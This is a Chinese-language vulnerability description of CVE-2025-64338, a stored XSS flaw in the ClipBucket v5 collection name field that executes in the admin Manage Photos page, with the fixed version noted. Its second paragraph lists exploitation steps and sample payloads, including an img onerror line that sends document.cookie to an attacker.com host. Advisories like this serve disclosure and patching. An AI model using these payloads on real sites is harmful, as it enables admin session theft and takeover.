CVE-2025-64338CVE-2025-64338是ClipBucket v5视频分享平台中存在的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞影响ClipBucket v5.5.2版本至#156及以下所有版本。攻击者作为经过认证的低权限普通用户,可以创建一个照片集合(Photo Collection),并在集合名称中注入恶意的HTML或JavaScript代码。由于ClipBucket的"管理照片"(Manage Photos)功能未对用户输入进行充分的输出编码和过滤,攻击者注入的恶意脚本会被永久存储在系统中。当管理员访问"Admin → Manage Photos"管理界面时,这些存储的恶意代码会被不安全地渲染执行,从而在管理员的浏览器中自动运行。攻击者可以利用此漏洞劫持管理员会话、窃取敏感信息、修改系统配置或执行其他具有高权限的操作。由于该漏洞需要管理员交互才能触发完整攻击链,因此CVSS评分中的用户交互指标被标记为"需要交互"(UI:R)。该漏洞已于5.5.2-#157版本中修复,ClipBucket官方建议所有用户尽快升级到最新版本以消除安全风险。
该漏洞的根本原因在于ClipBucket v5应用层面对用户输入的输出编码机制不完善。攻击者通过以下步骤利用此漏洞:首先,攻击者使用低权限账号登录ClipBucket平台;然后导航至创建照片集合的功能模块;接着在"Collection Name"字段中注入精心构造的XSS payload,例如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等;提交后,该payload被存储在数据库中且未进行任何安全过滤。当管理员访问"Admin → Manage Photos"管理界面并查看照片列表时,应用程序从数据库中检索并直接输出集合名称到HTML页面中。由于缺少适当的输出编码(如HTML实体转义),浏览器将payload作为有效代码执行。攻击者可以利用此执行环境执行任意JavaScript代码,包括但不限于:窃取管理员Cookie/Session令牌、修改管理员账户密码、添加新的管理员账户、上传恶意文件、修改系统配置或在内网环境中进行进一步渗透攻击。该漏洞的成功利用完全依赖于管理员访问受污染的管理界面,体现了存储型XSS漏洞的持久性和危害性。